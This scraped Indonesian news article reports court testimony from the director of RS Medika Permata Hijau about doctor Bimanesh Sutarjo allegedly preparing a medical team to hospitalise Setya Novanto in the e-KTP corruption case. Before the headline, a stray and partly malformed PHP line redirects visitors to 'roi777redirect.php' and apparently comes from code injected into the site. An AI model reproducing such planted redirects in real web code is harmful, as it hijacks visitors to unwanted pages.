header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Direktur RS Medika Sebut Bimanesh Siapkan Tim Tangani Setnov -
Direktur RS Medika Sebut Bimanesh Siapkan Tim Tangani Setnov

TRANSLAMPUNG.COM, JAKARTA – Direktur Rumah Sakit Medika Permata Hijau, Hafil Budianto Abdulgani saat bersaksi di persidangan perkara merintangi penyidikan korupsi e-KTP dengan terdakwa dokter Bimanesh Sutarjo mengungkapkan, kalau dirinya mendapat laporan dari jajarannya terkait perawatan Setya Novanto. Hafil selaku pimpinan rumah sakit menerima berkas 19 tumpukan terkait berita acara oleh para staff dan perawat rumah sakit.

Laporan tersebut, kemudian mengungkap Bimanesh Sutarjo telah menyiapkan tim yang akan menangani Setya Novanto. Hal tersebut dia ketahui dari keterangan Plt Pelayanan Medik RS Permata Hijau dokter Alia.

“Dokter Alia tersebut hanya memberitakan bahwa seingat saya dokter Bimanesh memberikan pengarahan bahwa ada dan sudah dipersiapkan tim untuk menangani,” kata Hafil kepada Ketua Majelis Hakim Syaifuddin Zuhri di Pengadilan Tipikor, Jakarta Pusat, Senin (16/4).

Hafil menyakini, bahwa tim dokter tersebut berasal dari RS Medika. Meski tidak mengingat namanya, Hafil menjelaskan ada tiga spesialis dalam tim Bimanesh tersebut. Mereka adalah spesialis jantung, spesialis bedah dan spesialis syaraf.

“Spesialis jantung pembuluh darah dan dr spesialis bedah dan kemudian spesialis syaraf,” ujar Hafil.

Dari laporan tersebut didapatkan juga keterangan dokter jaga IGD saat itu, Michael Chia Cahaya. Bahwa Michael menolak permintaan untuk merawat mantan Ketua DPR itu.

“Yang saya ingat bahwa pengacara Novanto datang untuk meminta surat rawat. Supaya dibikinkan surat untuk dirawat. Dokter Michael menolak karena belum melihat pasien,” jelas Hafil.

Dalam perkara ini, Bimanesh didakwa telah melakukan rekayasa agar Novanto dirawat inap di RS Medika Permata Hijau untuk menghindari pemeriksaan penyidik KPK saat menjadi tersangka kasus e-KTP.

Bimanesh diduga telah melakukan rekayasa kesehatan Novanto bersama dengan pengacara Fredrich Yunadi.

Bimanesh diduga melanggar Pasal 21 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dalam Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi juncto Pasal 55 ayat (1) KUHP. (rdw/JPC/jpg)

 

 

News Reporter